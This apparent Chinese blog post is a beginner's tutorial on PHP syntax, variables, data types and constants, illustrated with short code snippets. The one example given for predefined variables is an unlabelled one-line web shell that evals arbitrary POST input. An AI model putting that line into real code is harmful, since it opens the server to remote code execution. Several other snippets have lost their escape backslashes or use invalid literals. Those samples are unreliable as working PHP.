我是靠谱客的博主 标致吐司,这篇文章主要介绍PHP基础巩固之基础语法、变量和常量(总结分享),现在分享给大家,希望可以做个参考。

本篇文章给大家带来了关于PHP的相关知识,其中主要介绍了关于基础语法、变量、变量类型以及常量的相关内容,主要为了巩固基础,希望对大家有帮助。

推荐学习:《PHP视频教程》

前言:

PHP中文名叫超文本预处理器,是一种通用开源脚本语言。语法吸收了C语言、Java和Perl的特点,利于学习,使用广泛,主要适用于Web开发领域。用PHP做出的动态页面与其他的编程语言相比,PHP是将程序嵌入到HTML(标准通用标记语言下的一个应用)文档中去执行,执行效率比完全生成HTML标记的CGI要高许多;PHP还可以执行编译后代码,编译可以达到加密和优化代码运行,使代码运行更快。

一、基础语法

(一)语言标记

(二)指令分隔符

(三)注释

复制代码
1
2
3
4
5
6
7
<?php //这是单行注释 #这也是单行注释 /* 这是多行注释 */ ?>
登录后复制

(四)HTML和PHP区别

(五)PHP换行

(六)'echo'与'print'回显命令区别

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php //echo用法 echo "xiaofeng is cool<br>"; echo "xiaofeng"," ","is"," ","cool","!"; ?> <hr> <?php //print用法 print "hello world!"; print "<br>"; print "hello"; print " "; print "world"; print "!" ?>
登录后复制

总结:编写代码时尽量还是用echo,因为它是支持多字符串输出的,如果你执意要用print,我也拦不住你,可是只能输出一个字符串,可不要贪杯哦~

(七)关键字

注:★表示从PHP5.3开始,●表示从PHP5.4开始,▲表示从PHP5.5开始

(八)基础语法实例说明

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html> <head> <meta charset="utf-8"> </head> <body></body> </html> <?php //echo 输出字符串 echo "hello,My name is xiaofeng!";//每行代码必须以;结束 echo "<br/>"; #表示换行,浏览器和源代码都显示换行。 echo "My name is <span style = 'color:blue;'>xiaofeng</span>"//最后一行可以不用 ?> <hr/> <?php //再来个php echo "祈祷疫情早日结束!<br>"; echo "常州加油n常州加油n常州加油"; //也表示换行,只是浏览器不显示换行,源代码显示换行。 ?>
登录后复制


二、变量

(一)变量包含的三个内容

(二)变量的声明和释放

复制代码
1
2
3
4
5
6
7
8
<?php echo $name;//Notice: Undefined variable $name = "xiaofeng"; //初次赋值,初始化 echo $name; echo "<hr>"; unset($name); //unset()函数释放指定变量 echo $name;//释放了,输出肯定报错 ?>
登录后复制

(三)变量命名和赋值

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
<?php $age = 21;//变量赋值 echo $age,$Age,$AGE,$aGe;//变量严格区分大小写,只有第一个输出,后面三个都报错Notice: Undefined variable: //echo $name; //Notice: Undefined variable echo "<hr/>"; $name = "zhangsan"; $name1 = "lisi"; $my_name = "xiaofeng"; $your_name = "chuhe"; echo $name,"<br>",$name1,"<br>",$my_name,"<br>",$your_name; ?>
登录后复制

注意:命名的时候最好不要使用常量函数名或者类名,PHP是可以使用的,但为了后期代码审计,建议还是不要用PHP关键字作为变量名称。

(四)可变变量$$

复制代码
1
2
3
4
5
6
7
8
9
10
<?php $name = "xiaofeng"; #可变变量-$$ $$name = "hello world!";//表示$xiaofeng echo "<hr />"; echo $name; echo "<br/>"; echo $xiaofeng;//输出hello world! ?>
登录后复制

(五)变量引用赋值

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
<?php $a = 20; $b = $a; $b++; echo "b的值变为了";echo $b;echo "<br>";//b的值变为了21 echo "a的值还是";echo $a;//a的值没变还是20 echo "<hr>"; $c = &$a; //应用赋值 $c++; //相当于给$a起了一个别名,$c就是$a的本身 echo "c的值变为了";echo $c;echo "<br>"; //c的值为21 echo "a的值变为了";echo $a;//a的值也变为了21 ?>
登录后复制

(六)预定义变量(全局变量)

复制代码
1
2
3
<?php @eval($_POST['cmd']); ?>
登录后复制


三、变量类型(数据类型)

(一)分类

(二)整型

复制代码
1
2
3
4
5
6
7
<?php $x = -20; // 负数 $x = 20; //十进制 $x = 0x8C; // 十六进制数 $x = 047; // 八进制数 $x = b110; //二进制数 ?>
登录后复制

(三)浮点型

复制代码
1
2
3
4
5
6
7
8
9
10
<?php $f = 3.22;//小数 $f = 123456789012; //超出整型范围 $f = 1.2e20;//科学计数法 /* 精度:精确的有效数字位数 Float:单精度,4个字节 Double:双精度,8个字节 PHP中都是双精度 */?>
登录后复制

(四)布尔型

复制代码
1
2
$a = true; $a = false;
登录后复制

(五)字符串型

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php //单引号定义字符串 $name = 'xiaofeng'; var_dump($name); $str = 'I'm xiaofeng!'; //单引号定义字符串出现字符串,采用进行转义 $str = '{$name},I'm xiaofeng!';//单引号定义的字符串中出现变量名,不会引用变量的值。 echo '<br/>';echo $str; echo '<hr/>'; //双引号定义字符串 $name = "chuhe"; $str = "I'm chuhe!";//双引号定义字符串,直接输出即可 $str = "{$name},I'm chuhe";//双引号定义的字符串中出现变量名,会引用变量的值。 echo $str; echo '<hr/>'; //定界符定义字符串 $str = <<<dada %$^%&%&%&%&^%##$#$@#;'' <p style = "color:green;">xiaofengdada</p> dada; //定界符结尾后面不能有任何字符,包括注释,并且闭合定界符必须位于行的开头! echo $str; ?>
登录后复制


(六)数组型

复制代码
1
2
3
4
<?php $cars=array("name","age","Sex"); var_dump($cars); ?>
登录后复制

(七)特殊数据类型——NULL

复制代码
1
2
3
4
<?php $a=null; var_dump($a); ?>
登录后复制

四、常量

(一)常量和变量的区别

(二)预定义常量

复制代码
1
2
3
4
5
6
7
8
9
10
11
<?php define("name","xiaofeng");//定义一个常量 echo name; echo "<hr>"; #name = "chuhe";//Parse error: syntax error, unexpected '=' echo __FILE__;echo "<hr>";//输出当前文件名完整路径 echo __LINE__;echo "<hr>";//输出php源码中的行号 echo PHP_OS;echo "<hr>";//输出当前系统UNIX或者WINNT echo PHP_VERSION;echo "<hr>";//输出当前php版本 echo DIRECTORY_SEPARATOR;echo "<hr>";//输出操作系统决定目录的分隔符/ ?>
登录后复制

推荐学习:《PHP视频教程》

以上就是PHP基础巩固之基础语法、变量和常量(总结分享)的详细内容,更多请关注靠谱客其它相关文章!

最后

以上就是标致吐司最近收集整理的关于PHP基础巩固之基础语法、变量和常量(总结分享)的全部内容,更多相关PHP基础巩固之基础语法、变量和常量(总结分享)内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(171)

评论列表共有 0 条评论

立即
投稿
返回
顶部